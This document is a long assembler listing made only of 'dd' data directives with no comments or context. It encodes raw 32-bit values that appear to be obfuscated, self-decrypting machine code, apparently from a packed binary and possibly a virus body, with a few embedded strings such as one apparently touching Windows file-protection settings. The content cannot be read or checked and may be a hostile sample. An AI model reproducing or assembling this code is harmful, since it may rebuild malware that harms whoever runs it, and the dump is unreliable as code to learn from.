		dd 585A8FBAh, 0F8240489h, 188A0Fh, 0E8600000h, 0Ah, 585DAA84h
		dd 8C4EE81Bh, 315F8826h, 1D06A995h, 408B6106h, 0BD852978h
		dd 0F8061D25h, 28244403h, 18C0Fh, 8BF50000h, 14E91840h
		dd 74000000h, 0E77AAC6Eh, 0FF6967E5h, 0C488AE33h, 7FA0E556h
		dd 4056E8D3h, 2C458D89h, 8589061Dh, 61D3A62h, 1D852960h
		dd 66061D1Ah, 0BBBEEB81h, 85315861h, 61D3335h, 0F78708Bh
		dd 686h, 29BD8900h, 83061D13h, 8D891CC6h, 61D1259h, 24247403h
		dd 49BD8DFCh, 89061D27h, 1D20159Dh, 95296006h, 61D27B5h
		dd 2F198D01h, 0AD61061Dh, 1221B589h, 4403061Dh,	81602424h
		dd 235A42F2h, 800F6141h, 1, 9D89ABF8h, 61D0025h, 0ADBD8DF9h
		dd 0F9061D14h, 0EE9ADh,	8FD40000h, 64068461h, 9ABBE8DEh
		dd 1850440h, 24244403h,	33858D89h, 5090061Dh, 0B9666052h
		dd 8B0FCAE1h, 0
		dd 60310F61h, 13E8h, 0B2315700h, 1F5AB0C4h, 0CCB965C0h
		dd 1D2278A2h, 4B09DEE7h, 8E95Ah, 17BB0000h, 9C2574ECh
		dd 5A613D3Dh, 12E95058h, 17000000h, 0AA98E5FEh,	0EDA6DDA9h
		dd 0CC798D73h, 47699FE2h, 9D099068h, 61D1205h, 0CE9h, 7BA7EF00h
		dd 50D51412h, 6010F82Eh, 8589AB49h, 61D1C69h, 2BBDBD8Dh
		dd 8D09061Dh, 61D1F8Dh,	299D89ADh, 3061D12h, 31282444h
		dd 1D0351BDh, 0BD29AB06h, 61D0BA1h, 32F19D89h, 315E061Dh
		dd 1D186985h, 628DFF06h, 83061D3Ah, 1D3A62BDh, 10750006h
		dd 1C2444C7h, 0
		dd 3F2EB58Dh, 0E6FF061Dh, 4403AD56h, 8B972824h,	25858ADFh
		dd 84061D1Bh, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh
		dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah
		dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h
		dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h
		dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 1D032985h,	0FF6FE906h
		dd 295EFFFFh, 1D1FE1B5h, 0BA666006h, 0CE9B9E1h,	35000000h
		dd 38B032B3h, 7E53F4E9h, 614C933Bh, 329858Bh, 8D29061Dh
		dd 61D0949h, 0EE9h, 0E858B400h,	4A031165h, 29AA1887h, 0D17B8B8Ch
		dd 0D08B60E0h, 67E38166h, 8503613Fh, 61D2BBDh, 59958B60h
		dd 8B061D1Dh, 1D013D8Dh, 0BE6106h, 0F5000000h, 3DB50160h
		dd 9061D33h, 1D230595h,	29966106h, 1D32F9B5h, 0F8AD6606h
		dd 61BD0160h, 66061D05h, 0C161D38Bh, 0B58902E0h, 61D1435h
		dd 27498503h, 8D89061Dh, 61D138Dh, 9D8D8996h, 0AD061D00h
		dd 14E9h, 949A2700h, 96CB4AEFh,	0F54A1919h, 0D91B47A2h
		dd 0EAC77D3Fh, 13E915h,	0F2DE0000h, 0ABB45283h,	8E73D81Ch
		dd 7493BFCh, 0A640EC23h, 244C8BAAh, 0E5952924h,	3061D04h
		dd 0F242444h, 685h, 0E9952900h,	0E9061D2Eh, 6, 545ED61Eh
		dd 44890E68h, 96F81C24h, 3D58D01h, 60AC061Dh, 81AC1EBAh
		dd 1DBD8B7Bh, 61061D2Ah, 8509C932h, 61D2C8Dh, 0BE9C1FEh
		dd 6C000000h, 857680CBh, 9D4C14EBh, 0D0D038B2h,	80830Fh
		dd 8D0F0000h, 1, 78C0FFCh, 60000000h, 0E7806160h, 0D0D061A4h
		dd 64830Fh, 8D010000h, 61D2E4Dh, 820FD0D0h, 56h, 1D319D09h
		dd 0D0D0061Dh, 48820Fh,	0FEF80000h, 0B7890FC9h,	89FFFFFFh
		dd 1D0389BDh, 20C48306h, 0E9858B60h, 61061D1Bh,	0FC2444C7h
		dd 0
		dd 2EDD8D89h, 1B8061Dh,	89000000h, 1D0399B5h, 918D8D06h
		dd 0F061D71h, 184h, 0E1FFF500h,	0BE59589h, 85C6061Dh, 61D1B25h
		dd 68D0F00h, 89000000h,	1D26F98Dh, 5E96106h, 0AC000000h
		dd 1E462994h, 4799529h,	8C2061Dh, 0D5958900h, 96061D12h
		dd 0A830Fh, 66600000h, 66DD43BAh, 61F672BFh, 4DB86050h
		dd 6668F7DCh, 617D9EBEh, 10E996h, 610F0000h, 404E5404h
		dd 5FB6C5A8h, 624793E4h, 0B589C709h, 61D40F1h, 149D9589h
		dd 9D89061Dh, 61D023Dh,	41028D89h, 9589061Dh, 61D2A21h
		dd 3FDCB58Dh, 8B60061Dh, 1D2B7985h, 0AFBA6006h,	0F5BAC57h
		dd 6161F3BFh, 7E35858Dh, 0BD89005Bh, 61D12C9h, 5EF9D0FFh
		dd 156DB529h, 0FCC3061Dh, 40F1B58Bh, 8D29061Dh,	61D1D41h
		dd 28D8BF5h, 31061D41h,	1D0035BDh, 6DBD8906h, 2B061D1Ah
		dd 0A18589C0h, 8B061D2Eh, 0CDE9F5D9h, 89000000h, 1D21C995h
		dd 0E9263206h, 14h, 3909ACB3h, 5312E86Fh, 1D503ADCh, 3D21215Dh
		dd 21B80650h, 952902B2h, 61D2021h, 0B8B0Fh, 89600000h
		dd 1D17D585h, 59C58006h, 57E961h, 66600000h, 0E02DE81h
		dd 0DE9h, 0F4BA0200h, 267E44EAh, 327264DAh, 32619659h
		dd 19BD31C2h, 5061D0Ah,	8A751D7Ah, 0CC8AF8F8h, 2CD19D89h
		dd 0C8D3061Dh, 0B52360F8h, 61D0895h, 0AE16C181h, 3561673Bh
		dd 98D10842h, 0D6B9B860h, 0C88B7603h, 89CAFE61h, 1D02758Dh
		dd 0FD20A06h, 0FFFFBA85h, 0EE9FFh, 0D9690000h, 765B778Dh
		dd 2C7336FEh, 155B2CFEh, 9585014Bh, 46061D18h, 0E810Fh
		dd 9E90000h, 7000000h, 9A1ADA94h, 23E32F09h, 850FDB0Bh
		dd 0FFFFFF31h, 81F8B760h, 0D8E390DAh, 29CF6124h, 1D08E585h
		dd 0FC000006h, 8F0F0000h, 6, 1C75B529h,	61Dh, 2EA59D31h
		dd 61Dh, 15A9BD09h, 858D061Dh, 61D3A83h, 0ED8589F8h, 60061D11h
		dd 8FCB69BFh, 0CABF0F3Ch, 5B858D61h, 0F061D3Fh,	68Ah, 0ED8D8900h
		dd 89061D1Ch, 1D142D85h, 14EB06h, 3 dup(0)
		dd 8B000000h, 8D000000h, 1D422185h, 61858906h, 83061D06h
		dd 1D414FBDh, 840F0006h, 135h, 1B2585C6h, 0E856061Dh, 4
		dd 0D41F6D39h, 24448B50h, 89008B04h, 58042444h,	11E5B5FFh
		dd 858D061Dh, 61D3A83h,	8589D0FFh, 61D4143h, 1B2585C6h
		dd 0E856061Dh, 4, 9CA8B852h, 24448B50h,	89008B04h, 58042444h
		dd 11E5B5FFh, 858D061Dh, 61D3A83h, 8589D0FFh, 61D4147h
		dd 4E8046Ah, 0
		dd 50000010h, 424448Bh,	4489008Bh, 8B580424h, 1D415385h
		dd 1F40506h, 0E0C10000h, 4895002h, 0FF006A24h, 1D414795h
		dd 4B858906h, 8B061D41h, 0FFFFB8D8h, 95FFFFFFh,	61D0661h
		dd 95FFC38Bh, 61D0661h,	84E9h, 4FBD8300h, 61D41h, 1850Fh
		dd 57C30000h, 414BBD8Bh, 83AB061Dh, 1D414B85h, 0C35F0406h
		dd 414FBD83h, 0F00061Dh, 185h, 8360C300h, 1D414BADh, 9D8B0406h
		dd 61D414Bh, 0FFFC7B83h, 1D850Fh, 0D0680000h, 81CB8EE7h
		dd 98302404h, 6A3471h, 95FF33FFh, 61D4143h, 1DE9C361h
		dd 68000000h, 0D9B65824h, 0DC240481h, 6A264A27h, 0FF33FF00h
		dd 1D414395h, 4BAD8306h, 4061D41h, 0FFFFB1E9h, 0D3E948FFh
		dd 60000009h, 80AEB468h, 199B8C90h, 0DF4FADDAh,	39961EBAh
		dd 525F348h, 0CB1E674h,	431EF8D5h, 3DCF23F5h, 8BA3B44Eh
		dd 0B9380D2h, 0CE1CFFCDh, 36D319A8h, 75469C03h,	11A5EC7Eh
		dd 434CF4D4h, 32C921F5h, 91A3B44Dh, 118E9FD2h, 0D202FFD2h
		dd 22C402B6h, 4125F70Dh, 11A1FB32h, 421EB9C5h, 26C934BBh
		dd 97BAB45Bh, 1F8E9E9Dh, 0F1D2h, 62h dup(0)
		dd 60000000h, 8AA7B468h, 1188909Ch, 0C51FFFCDh,	3AC40AB4h
		dd 4423B640h, 7A6A961h,	504CB6D4h, 37C838F4h, 8BBFE609h
		dd 1992909Ch, 9701B69Fh, 29C302A2h, 5632E50Dh, 4CA9EC66h
		dd 5A3CD5BBh, 36D52CFEh, 8BBFB405h, 1A9D969Eh, 971BB69Fh
		dd 36D91FBDh, 482EFB0Dh, 42BDFB7Dh, 1608B6D0h, 27D528E9h
		dd 0C5BEE648h, 0C89968Bh, 0D81DAF9Fh, 36D71FBCh, 3, 47h	dup(0)
		dd 60000000h, 97A9B468h, 1B979A93h, 971CF8CDh, 37D902AFh
		dd 562AFE0Dh, 7A1EB32h,	590AF8DFh, 73C223EEh, 8BA4E15Bh
		dd 5E9B979Bh, 0CE4FB1D6h, 7BC418B4h, 5138EF5Eh,	68EAE477h
		dd 530088BCh, 7FC33EFAh, 89A4E109h, 5E98989Dh, 0D14FABD6h
		dd 7BDB02A9h, 4A26F340h, 3E4F060h, 444CBCDFh, 32D23EFEh
		dd 9CEAE05Bh, 5E8E8C9Dh, 0D000ADCFh, 75DB0CA9h,	61h dup(0)
		dd 60000000h, 80A6FD6Fh, 0C939AD2h, 0C31FAACDh,	759709BEh
		dd 4C23C20Dh, 10B4A961h, 571EBFDEh, 32CE6DF6h, 80A8B45Ah
		dd 13DC9797h, 0C706B1DEh, 2FD701AEh, 446BF248h,	0FE4ED7Ch
		dd 530EA1D0h, 27CF4091h, 8CEAE70Eh, 1D999F9Ch, 970BBACBh
		dd 3A9614B9h, 5722C00Dh, 0DE4FA67h, 440FF8C3h, 36CD2EFAh
		dd 0B1EABA4Dh, 5E8F909Ah, 0D203B6D9h, 35D91AFBh, 526BE20Ah
		dd 42AFFB7Dh, 5B15B6D0h, 7DC33FF4h, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 95E90000h, 8900002Eh, 1D1885BDh, 0D780FC06h,	6AC08BC6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0EB73C353h, 0BB36B68Ah, 958BC8D8h, 61D16FDh
		dd 1669BD83h, 7500061Dh, 21BD8309h, 61D01h, 53501374h
		dd 1B8C08Bh, 8D000000h,	1FA4DF9Dh, 5BD3FF06h, 21BD8358h
		dd 61D01h, 53501174h, 1B8h, 909D8D00h, 0FF061FA3h, 80585BD3h
		dd 9D8BAEC3h, 61D27F9h,	6ABAC08Bh, 833F79A0h, 1D16DDBDh
		dd 840F0006h, 212h, 2B91BD89h, 0BD83061Dh, 61D162Dh, 0FF840F00h
		dd 8B000001h, 0B53160D3h, 61D2BC9h, 162D858Bh, 0BE9061Dh
		dd 0F4000000h, 82B07C96h, 9E697400h, 9D33787Ch,	61D2AF5h
		dd 3E805h, 0A7DFBB00h, 0E8902503h, 5, 2A2811C8h, 5E88Ah
		dd 8E9D0000h, 0B350E546h, 505A5B22h, 6E960h, 0B06F0000h
		dd 0BAB73E5Fh, 6A9061h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 544A9EC3h, 6810F24h, 89000000h
		dd 1D1A6995h, 0CE906h, 1A20000h, 0F19C39C4h, 0DEF25B83h
		dd 858D0DAEh, 61D4C65h,	90D6B70Fh, 0D0BE5660h, 5857A969h
		dd 506160B0h, 0DA8B6660h, 0E99FB4B9h, 60906139h, 1B15BD01h
		dd 8D61061Dh, 1D4C4385h, 1C54BA06h, 505008C4h, 8B666052h
		dd 0F069B9DAh, 0F613CA9h, 0D830F31h, 0E9000000h, 8, 8FA095BFh
		dd 0ED6E177Dh, 489585Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0A0343A48h, 0FC9118F4h
		dd 0C2195FFh, 6A061Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 282A56C3h, 0CC4839Dh, 0C830Fh, 7E90000h
		dd 0BD000000h, 9AB52A75h, 858D6E3Ah, 61D4C43h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 75C35141h, 4DDDE614h
		dd 0F24BD9Bh, 0BB50D8B7h, 4E28A19Bh, 6A240489h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 998C357h, 11C9DABDh,	14E83Fh, 20950000h, 7BAA327Dh
		dd 0B011A037h, 0DF217341h, 0F3D63D77h, 95897182h, 61D2601h
		dd 6A026A5Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0CCACC350h, 5BB71547h,	7495FFB6h
		dd 8B006885h, 1D16F99Dh, 759D0906h, 61061D2Eh, 32A99589h
		dd 85C7061Dh, 61D4C76h,	1, 68A0Fh, 9D8B0000h, 61D1A11h
		dd 6CBB6696h, 10E95068h, 83000000h, 0B6479B5h, 413BB4E2h
		dd 3A76CF44h, 96E4E552h, 6BEB8166h, 27B589F2h, 0F061D4Ch
		dd 0BD83D6B7h, 61D31C1h, 5B850F01h, 57000000h, 7F3BA66h
		dd 0A9BD295Ah, 83061D31h, 850F05F8h, 46h, 0B86CEE80h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D3C35242h
		dd 71BBD581h, 0BF0F1C36h, 0EE8D2h, 33A00000h, 20DD2BF9h
		dd 0A6F45635h, 0DE1B36D6h, 0AEE28166h, 0BD835A99h, 61D0439h
		dd 11840F00h, 8B000000h, 1D16359Dh, 0B806h, 0BD890000h
		dd 61D2785h, 0D7BF0F60h, 2F49858Bh, 8166061Dh, 8981A9C2h
		dd 1D0735BDh, 2C08306h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 7FC35343h, 178BE8CEh,	4ABF12FCh, 0B840BABBh
		dd 8589571Ah, 61D4C1Fh,	12E9h, 0CDCA8B00h, 68BBA603h, 0BE820E1Fh
		dd 0AB398DB3h, 0C69526A3h, 6AFF00h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 70CD39C3h
		dd 1DD4A7C2h, 0E9BCEDF9h, 9, 0E0F27D60h, 0E048722Ah, 407CBA20h
		dd 53607AE4h, 0FE9h, 68A6DE00h,	0E7094240h, 214B6A8Ah
		dd 0F5A89047h, 61D18B5Ah, 1B2585C6h, 8A53061Dh,	4E8F9h
		dd 48D80000h, 0D78BFCB1h, 8BA6B750h, 60042444h,	5F616050h
		dd 65EAB866h, 66008B61h, 4489D98Bh, 8A0F0424h, 8, 0F525060h
		dd 61585A31h, 0D62CBB58h, 0B5FF59CFh, 61D1805h,	8D0DCF80h
		dd 2077FF85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 70992D56h, 65C611BEh, 0B1E3812Fh
		dd 0FF7C59DAh, 0C38166D0h, 858916CAh, 61D1209h,	838CEE80h
		dd 1D005DBDh, 850F0106h, 12Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0B0C35040h,	0E01C5352h, 0BA66A1B4h
		dd 6A617AF2h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 391C355h, 0EDE555CAh, 85C6D4F0h
		dd 61D1B25h, 0FE945h, 15A0000h,	0A9DC784Ch, 520CEC8Fh
		dd 2CC65677h, 0C2BD68C3h, 0AE8A629h, 58000000h,	318E0E73h
		dd 9C8FD90Bh, 14B2528Fh, 4815B5Bh, 36760524h, 69858934h
		dd 89061D1Ch, 1D139D95h, 5B5FF06h, 6A061D18h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 6EF0C357h, 2EA93D70h, 19E38050h, 0FF858D5Ah,	29062077h
		dd 1D30A19Dh, 1E8C0F06h, 0E8000000h, 12h, 54B78827h, 7D49A113h
		dd 848AA61h, 0ECDBEE1Fh, 860FD7B8h, 0
		dd 6AD0FF5Bh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 1173B1C7h, 52F7DFA1h, 0FF5A5A57h
		dd 8E8D0h, 8DF40000h, 0D090DF64h, 0E281F942h, 3B3331AEh
		dd 99BD835Ah, 1061D07h,	126850Fh, 0EE90000h, 8000000h
		dd 97842006h, 0D0E0583Ch, 0A8F2B5F2h, 49858B47h, 6A061D2Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 585EC353h, 8A6EF3E2h, 0DABF0FF3h,	0A4E9h
		dd 89958900h, 66061D1Ah, 0B750D18Bh, 240489E1h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0BBC35545h, 0DC12D329h
		dd 4D6C90CBh, 0E5958BD4h, 6A061D04h, 51006A14h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 720987F1h
		dd 89DDC4E5h, 1D0419B5h, 995FF06h, 6A061D12h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 68BC356h, 24C345F1h,	3E74AF2Dh, 8810Fh, 0F520000h, 88h
		dd 89585B00h, 1D20D9BDh, 388006h, 0FF5C850Fh, 6AFFFFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 62128C3h, 8F5A803Fh,	6E9h, 0A4319100h, 0C6CB5B5Ah, 85890100h
		dd 61D0445h, 0D08B6661h, 809BD83h, 0F00061Dh, 6184h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 4BBE4AA8h, 0E0B88F35h, 9D8BFF6Ah, 61D13FDh, 120995FFh
		dd 0E9F9061Dh, 0FFFFFFECh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 2FC35141h, 0D2808702h, 0DA9290B1h, 29618589h
		dd 85C7061Dh, 61D0809h,	1, 858955B7h, 61D4C2Bh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E1C35141h, 0DE8B66B6h
		dd 3759503h, 0BB90061Dh, 28735E02h, 0E9525050h,	13h, 0E362371h
		dd 7DF4033Bh, 0B6E394BEh, 0C7EE931Dh, 0FD87105h, 0D38B6631h
		dd 6690585Ah, 6A60D78Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0E067C357h,	8973D509h
		dd 1D162185h, 8B056A06h, 1D2BC19Dh, 43858D06h, 8B061D4Ch
		dd 1D011D9Dh, 0FD850906h, 50061D1Bh, 5B565060h,	2890F5Bh
		dd 60000000h, 4896161h,	658D2924h, 8D061D03h, 1D4C3385h
		dd 0DFB70F06h, 0D18B6690h, 0C2809050h, 195FF8Ch, 57061D31h
		dd 25E18D29h, 8D5B061Dh, 1D7AC78Dh, 0C1958906h,	0B061D15h
		dd 8D1174C0h, 1D4C4385h, 0D1FF5006h, 4C618589h,	0AEB061Dh
		dd 4C6185C7h, 0FFFF061Dh, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0BA6B59C3h, 67CFC48h
		dd 50006A61h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0F020F2BDh, 9E9B341h, 2000000h, 633D326Eh
		dd 0F97FC63Bh, 1B2585C6h, 804D061Dh, 74B72BF3h,	0C3DF3B68h
		dd 505250A0h, 0F5B5752h, 0F525031h, 5A585A31h, 0BA310F58h
		dd 7677E6D0h, 3481585Ah, 0F6A99324h, 0C622BA04h, 0B5FF3CC3h
		dd 61D0045h, 9C59D8Bh, 8F0F061Dh, 8, 0BD858953h, 5B061D10h
		dd 77FF858Dh, 95890620h, 61D28FDh, 9D2BD0FFh, 61D13F9h
		dd 0BD18589h, 6A061Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 31F1CAC3h, 1D06E185h, 2585C606h
		dd 45061D1Bh, 5A8DC1BBh, 4E868h, 69690000h, 50508E72h
		dd 5B5B6160h, 8BDA8B50h, 50042444h, 0D78B6652h,	6BB310Fh
		dd 5A5F7878h, 52008B58h, 2444895Bh, 0DE8B6604h,	0FF60B258h
		dd 1D1805B5h, 0AFDA8106h, 8D438CCDh, 2077FF85h,	6E906h
		dd 0A1880000h, 10E6B1B0h, 8166D0FFh, 8916AAE2h,	1D00FD85h
		dd 1D8D0F06h, 0E8000000h, 14h, 94F20907h, 0C17DBC7h, 6D7BF80Fh
		dd 0DC237745h, 988A8D6Ah, 5AD2B70Fh, 12E9D28Bh,	52000000h
		dd 67E247Eh, 64E3224Eh,	99957EA5h, 64315148h, 0D98C6643h
		dd 75BD29h, 0C1F6061Dh,	25840F04h, 66000002h, 11E9D78Bh
		dd 6A000001h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 702BC350h, 0F08A60B0h,	120D8D29h
		dd 8B61061Dh, 1D29C1B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 66961A2Eh, 5158DABBh
		dd 2BD9589h, 815A061Dh,	1180C6h, 5D8D8900h, 83061D19h
		dd 1D28DDBDh, 850F0006h, 18h, 0C2E38166h, 3D958B5Dh, 0E9061D06h
		dd 68h,	0F399D2Bh, 0DE8B061Dh, 0F003E83h, 5784h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0DE93EFBh, 0C8000000h, 6A0E37C9h, 56502D57h,	0CEE46CD9h
		dd 15958960h, 6A061D29h, 0D7BB6614h, 995FFC3h, 0F061D12h
		dd 0F861D2B7h, 0FFFFABE9h, 0B52B60FFh, 61D2539h, 61CEBF0Fh
		dd 106C7h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0BA6D1BC3h, 44EBB361h, 4C2BBD83h
		dd 0F05061Dh, 0FF85h, 8B06B300h, 1D00FDB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 9BD30037h, 8BDDEB80h, 1D1BB595h, 64B906h, 8B600000h
		dd 1D040595h, 4DD18106h, 6157DE4Eh, 0FE83E80h, 2384h, 89BD8900h
		dd 0E9061D12h, 63h, 71852960h, 0E9061D11h, 0Bh,	0C9864532h
		dd 859BB535h, 61AB1D3Eh, 0C2057E80h, 5F840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 3BD501C3h, 0B0E79F40h, 11E85647h, 2F000000h,	9221FC1Ch
		dd 540C0EC1h, 0D82C3556h, 94468F23h, 0AAE38166h, 465B5AB4h
		dd 0EA816FB7h, 37242194h, 79850F49h, 8BFFFFFFh,	1D13F99Dh
		dd 2AE906h, 0C6800000h,	15B58950h, 6A061D0Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 502DC351h, 0D45CBB66h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0FCCF2A27h
		dd 21F7FCEAh, 31F1BD83h, 0F00061Dh, 0D184h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0B5A75965h, 8EA95D15h, 8BD48A9Ah, 1D335995h,	5CB36006h
		dd 1B2585C6h, 6654061Dh, 8E65C281h, 0B6016468h,	81D88ABBh
		dd 0BF902434h, 0B58944F8h, 61D1401h, 0B5FFD18Bh, 61D1805h
		dd 2EED958Bh, 858D061Dh, 62077FFh, 21258589h, 0EE9061Dh
		dd 84000000h, 0E44508DEh, 4CD568C1h, 0DDD55BECh, 0E9D0FF3Ah
		dd 10h,	59041403h, 68393860h, 0A7E88A7Dh, 33C7FC5Ah, 9D8B006Ah
		dd 61D30E9h, 31F1B5FFh,	0F381061Dh, 1EABA1EEh, 6AD0FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 8EB5E6C3h, 28BA4E2Eh, 8061CDB3h, 85C75AE7h, 61D3131h
		dd 1, 506078B6h, 202D8D01h, 685B061Dh, 0AD0868ECh, 0E8605250h
		dd 9, 711A1B32h, 6481A047h, 800F5AD3h, 0
		dd 66310F61h, 585ADE8Bh, 94240481h, 6A52F797h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 78D0C352h, 0B6376160h, 0E9890CD9h, 0Ah, 2B8CC93Fh, 0EF1BAD26h
		dd 0EA81C9ABh, 78DCE5C1h, 958BFF6Ah, 61D22FDh, 6995FFh
		dd 0B260061Dh, 9BD2B76h, 61061D22h, 0A1950B61h,	90061D30h
		dd 7E8h, 76D22F00h, 37DB27h, 2F53BA66h,	26B7505Ah, 0BDBD0190h
		dd 8B061D02h, 1D155985h, 0BD38A06h, 1D2FD995h, 0FC00B06h
		dd 2784h, 0CE900h, 5A360000h, 0E97CE5h,	7E228B95h, 95FFFF74h
		dd 61D2919h, 0F52D78Bh,	683h, 840F00h, 5B000000h, 20F985C7h
		dd 1061Dh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 89A97EC3h, 1D15019Dh, 4DBD8306h
		dd 61D08h, 11840Fh, 81660000h, 0FF1B6BD2h, 1D01E595h, 0F1958B06h
		dd 83061D28h, 1D3389BDh, 840F0006h, 56h, 32D19D8Bh, 8E8061Dh
		dd 0A2000000h, 0E85DBA25h, 0E9794C30h, 10h, 3BCBE583h
		dd 9BAB312Eh, 8DB13963h, 0C23803DFh, 9595FF5Bh,	6A061D25h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 6D61C350h, 3E390603h, 6690F069h, 0BD83D98Bh
		dd 61D1845h, 71840F00h,	0B000000h, 1D0F4D9Dh, 0D59D8B06h
		dd 83061D28h, 1D109DBDh, 850F0006h, 58h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ch, 0E2C35343h, 3364E10Dh
		dd 0AA51537Dh, 1ACB8166h, 0D958BD3h, 0FF061D03h, 1D278D95h
		dd 11E806h, 0FD6A0000h,	0D3A5B3D6h, 1B6BE8AEh, 96415DFDh
		dd 8BA86607h, 1D1F9595h, 95895B06h, 61D00B5h, 0BB1BD83h
		dd 0F00061Dh, 4884h, 9D295700h,	61D2BEDh, 6985815Bh, 3061D2Ah
		dd 0F000040h, 9503DABFh, 61D0509h, 0F3D8581h, 4003061Dh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 2BC842C3h, 1D128995h, 9310F06h, 1D026DBDh
		dd 18D8D06h, 0E9061D5Ch, 11h, 4A6DFECFh, 0ECB116C1h, 0B513A84Eh
		dd 7713A289h, 33018911h, 50006AC2h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0E3D48DE4h, 4CB1F676h
		dd 41892288h, 2175BB04h, 310F7871h, 10E9h, 0E00C7A00h
		dd 9D25D784h, 0C5FA5591h, 42AF8BC0h, 148D8D6Eh,	8B061D5Ch
		dd 1D18959Dh, 60018906h, 6820Fh, 9D8B0000h, 61D02B5h, 1A9D8D89h
		dd 3361061Dh, 798589C2h, 89061D1Dh, 8D890441h, 61D0995h
		dd 3379BD83h, 0F00061Dh, 4084h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 392E53E4h
		dd 0C1816660h, 66618ABAh, 95FFD68Bh, 61D2F0Dh, 8E8h, 666BE500h
		dd 0AD0FE774h, 61E3806Ah, 15BD835Ah, 1061D21h, 63850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 8BF237C3h, 1D14B995h, 419D8906h, 0E9061D2Ch
		dd 35h,	0FE9h, 0AC177B00h, 0A607B0Dh, 37651E4Eh, 0FB46AC5Ah
		dd 5D63B58Bh, 6C7061Dh,	0
		dd 5AEDB58Bh, 6C7061Dh,	0
		dd 21F5BBCFh, 0BF0F30D7h, 0F9BD83D0h, 61D20h, 15B840Fh
		dd 0CE80000h, 50000000h, 689A5350h, 0B86936C4h,	0E8F57A2Ah
		dd 7, 324E9626h, 2929D05Dh, 1D088195h, 835A5B06h, 1D2E79BDh
		dd 850F0106h, 116h, 0F38126B6h,	317AA9C0h, 4C1F8D8Bh, 7E9061Dh
		dd 4D000000h, 47AB3D2Ah, 1C6CA8Ah, 45958B00h, 60061D27h
		dd 0E8DEBF0Fh, 4, 80h, 1E28BB66h, 8B96B350h, 50042444h
